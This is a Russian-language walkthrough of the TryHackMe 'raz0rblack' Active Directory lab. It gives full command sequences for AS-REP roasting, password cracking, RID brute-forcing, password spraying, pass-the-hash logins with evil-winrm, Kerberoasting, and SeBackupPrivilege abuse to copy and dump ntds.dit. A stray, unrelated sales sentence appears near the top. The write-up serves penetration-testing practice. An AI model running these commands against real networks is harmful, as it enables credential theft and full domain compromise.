Active Directory: raz0rblack by THM writeup

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Приветствую, вас, уважаемые кулхацкеры. Данный райт будет посвящен прохождению машины raz0rblack на TryHackMe

Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях

Шаг 0: Сканим Nmap-ом

Традиционно начинаем со сканирования сети с помощью Nmap

nmap -sC -sV -T4 10.10.215.15

-sC -> опция, запускающая сканирование на основе скриптов
-sV -> определяет версии служб, запущенных на открытых портах
-T4 -> время сканирования

Результат сканирования
Результат сканирования

Хм, вроде ничего примечательного. Попробуем проенумить NFS

Сетевая файловая система (NFS) - это распределенная файловая система, которая обеспечивает пользователям доступ к файлам, расположенным на удаленных компьютерах, и позволяет работать с этими файлами точно так же, как и с локальными

nmap -sV –script=nfs* 10.10.215.15 -p 111
Результат работы скрипта Nmap
Результат работы скрипта Nmap

Шаг 1: Используем showmount

Также мы можем найти NFS при помощи утилиты showmount

showmount -e 10.10.215.15
Результат запроса showmount
Результат запроса showmount

Шаг 2: Монтируем /users

Создадим точку монтирования и смонтируем папку /users

mount -t nfs 10.10.215.15:/users ./creds

Посмотрев ее содержимое, мы увидим два файла

В txt будем лежать наш флаг, а вот в xlsx будет список пользователей

dport
iroyce
tidal
aedwards
cingram
ncassidy
rzaydan
lvetrova
rdelgado
twilliams
sbradley
clin

Для этого воспользуемся модулем GetNPUsers из утилиты Impacket

GetNPUsers raz0rblack.thm/ -userfile /root/users.txt -dc-ip 10.10.215.15

Результатом работы утилиты будет перехваченный AS-REP запрос пользователя twilliams

Шаг 4: Брутфорсим с помощью JohnTheRipper

Перехватив запрос, мы можем запустить локальный перебор для получения пароля в открытом виде. Воспользуемся утилитой JohnTheRipper

john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Шаг 5: Используем CrackMapExec

Зная данные учетной записи, запустим crackmapexec для перечисления пользователей путем брутфорса RID

crackmapexec smb 10.10.215.15 -u twilliams -p roastpotatoes --rid-brute

В результате работы получим новых валидных пользователей для проведения дальнейшей атаки: xyan1d3, lvetrova, sbradley
Вновь используем crackmapexec для спреинга пароля для указанных пользователей

Шаг 6: Используем smbpasswd для смены пароля

Как видно, у пользователя sbradley стоит статус STATUS_PASSWORD_MUST_CHANGE. Для смены пароля воспользуемся утилитой smbpasswd

smbpasswd -r 10.10.215.15 -U sbradley

-r -> опция для указания адреса удаленной машины
-U -> опция для указания пользователя

Шаг 7: Вперед smbmap

Далее воспользуемся утилитой SMBMap

Далее воспользуемся утилитой SMBMap

SMBMap позволяет пользователям перечислять диски общего доступа samba по всему домену. Программа составляет список совместных дисков, прав доступа на диск, общее содержимое, имеет функциональность выгрузки/загрузки, автоматическую загрузку файлов, имя которых совпадает с образцом и даже возможность удалённого выполнения команд. Этот инструмент был создан для тестирования на проникновение и предназначен для упрощения поиска потенциально чувствительных данных в крупных сетях

smbmap -H 10.10.215.15 -u sbradley -p password

В результате увидим список доступных share. Скорее всего нам будет интересна /trash

Шаг 8: Подключаемся через smbclient

Для просмотра потенциально интересных файлов подключимся через smb с помощью smbclient

smbclient //10.10.215.15/trash --user='sbradley%password'

Скачаем доступные файлы. В их числе будет архив, защищенный паролем

Шаг 9: Юзаем zip2john

Для взлома пароля арихва воспользуемся утилитами Zip2John и JohnTheRipper

zip2john experiment_gone_wrong.zip > zip_hash.txt
john --rules --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt

Получив пароль в открытом виде, распакуем архив в котором содержится system.hive и ntds.dit

Шаг 10: Достаем секреты с файлов

Чтобы локально извлечь секреты пользователей воспользуемся модулем secretsdump из утилиты Impacket

impacket-secretsdump --system system.hive -ntds ntds.dit LOCAL > dump.txt

Для отделения хешей из файла воспользуемся следующей командой

Шаг 11: CrackMapExec для подбора подходящего хеша

Для подбора хеша для пользователя lvetrova снова воспользуемся утилитой crackmapexec

crackmapexec smb 10.10.215.15 -u lvetrova -H hashes.txt

Шаг 12: Evil-WinRM

Для удаленного подключения будем использовать Evil-WinRM

evil-winrm -i 10.10.15.215 -u lvetrova -H f220d3988deb3f516c73f40ee16c431d

Посмотрев содержимое папки пользователя, увидим файл lvetrova.xml

В PowerShell есть метод хранения зашифрованных учетных данных, доступ к которым может получить только сохранившая их учетная запись пользователя. Приведенный выше код запрашивает учетные данные, а затем сохраняет их в зашифрованном виде в XML-файле. В результате получим флаг пользователя lvetrova

Шаг 13: Проводим kerberoasting

Далее,зная имя пользователя и хеш его пароля, проведем атаку Kerberoasting, воспользуясь GetUserSPNs, запросив TGS

GetUserSPNs -dc-ip 10.10.215.15 raz0black.thm\lvetrova -hashes f220d3988deb3f516c73f40ee16c431d:f220d3988deb3f516c73f40ee16c431d -outputfile kerb.txt

Также, перехватив TGS, воспользуемся john для локального перебора паролей

john --rules --wordlist=/usr/share/wordlists/rockyou.txt kerb.txt

Шаг 14: Evil-WinRM с данными xyan1d3

evil-winrm -i 10.10.215.15 -u xyan1d3 -p cyanide9amine5628
whoami /all

У пользователя есть привилегия SeBackupPrivilege. Она была разработана с целью создания пользователями резервных копий. Эта привилегия должна обходить все ACL, установленные администратором в сети. Итак, в двух словах, данная привилегия позволяет пользователю читать любой файл на всей файловой системе, которая может также включать некоторые конфиденциальные файлы, такие как файл SAM или файл реестра SYSTEM. С точки зрения злоумышленника, эта привилегия может быть использована после того, как он закрепится в системе, а затем перейдет в повышенную оболочку, читая файлы SAM и, возможно, взламывая пароли пользователей с высокими привилегиями в системе или сети

Для осуществления эскалации привилегий нам понадобится утилита diskshadow.exe, скрипт и две DLL: SeBackupPrivilegeUtils.dll и SeBackupPrivilegeCmdLets.dll

Также создадим следующий скрипт для осуществления теневого копирования и назовем его diskshadow.txt:

set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

set verbose onX -> будет выводить подробную информацию о выполнении
set metadata -> задает местоположение файла метаданных для создания теневых копий

set context persistentX -> устанавливает постоянную теневую копию, которая сохранится после команды выхода Diskshadow и переживет перезагрузку компьютера

begin backupX -> начинает процесс теневого копирования

add volume C: alias cdriveX -> Псевдоним дает имя теневому идентификатору

createX -> cоздает виртуальный диск моментального снимка на сервере DataCore Server и обслуживает виртуальный диск на том же компьюетере

expose %cdrive% E:X -> Раскрывает теневой идентификатор операционной системе и присваивает указанному диску букву X:

end backupX -> завершает процесс теневого копирования

Загрузим скрипт через команду:

upload diskshadow.txt

Также загрузим 2 DLL, которые можно скачать отсюда:

wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll

и также загрузим их через команду upload. После загрузки для работы DLL пропишем следующее

import-module .\SeBackupPrivilegeCmdLets.dll
import-module .\SeBackupPrivilegeCmdLets.dll

Сделав все процедуры запускаем наш скрипт через утилиту diskshadow.exe

diskshadow.exe /s C:\tmp\diskshadow.txt

/s-> указывает местоположение скрипта

После успешного создания теневой копии воспользуемся утилитой robocopy

robocopy /b E:\windows\ntds . ntds.dit

/b -> копирует файлы в режиме резервного копирования, что позволяет Robocopy переопределять параметры разрешений для файлов и папок (ACL). Это позволяет копировать файлы, к которым вы могли бы не иметь доступа, при условии, что они выполняются под учетной записью с достаточными привилегиями

После этого копируем куст реестра SYSTEM через команду reg save и выкачиваем наши файлы

reg save HKLM\SYSTEM C:\tmp\system

Шаг 15: Снова достаем креды

После скачивания файлов ntds.dit и system произведем локальный дамп секретов из этих файлов с помощью secretsdump

impacket-secretsdump -system system -ntds ntds.dit LOCAL

Шаг 16: Подключаемся с кредами админа

Получив хеш администратора подключимся с помощью того же evil-winrm

evil-winrm -i 10.10.215.15 -u administrator -H 9689931bed40ca5a2ce1218210177f0c

Просмотрим содержимое папки администратора

С помощью type откроем файл root.xml

Это наш флаг. Конвертируем из hex в обычный текст:

Here is your Root Flag
THM{1b4f46cc4fba46348273d18dc91da20d}

Также найдем флаг пользователя twilliams

И последний штрих: посмотрев все папки найдем директорию Top Secret, увидим там картинку и выкачаем ее

Это все, что мы хотели показать в данном разборе. Помните: 100% стойких систем не бывает. Практикуйтесь, ведь без этого никуда абсолютно любому пентестеру!

Источник: https://habr.com/ru/articles/764924/


Интересные статьи

Интересные статьи

Краткий этот туториал будет полезен, хотелось бы надеяться, как программистам, работающим с Ruby on Rails, так и тем из "племени младого незнакомого" веб-разработчиков, кто захочет освоить отличный ин...
В продолжение к предыдущей статье Передовые технологии на службе СЭД рассмотрим современные подходы к обеспечению корпоративной безопасности и ожидаемые риски у корпораций в России.Что такое безопасно...
Как-то в рабочей беседе один мой коллега-программист заметил, что всевозможные принципы и паттерны проектирования ПО хорошо применять, когда делаешь тестовые задания, одн...
Так уж вышло, что разработчики, особенно молодые, любят паттерны, любят спорить о том, какой паттерн нужно применять здесь или там. Спорить до хрипоты: это фасад или прокси, а может д...
Перевод статьи подготовлен специально для студентов курса «Пентест. Практика тестирования на проникновение». У меня было несколько клиентов, пришедших ко мне перед пентестом с уверенностью...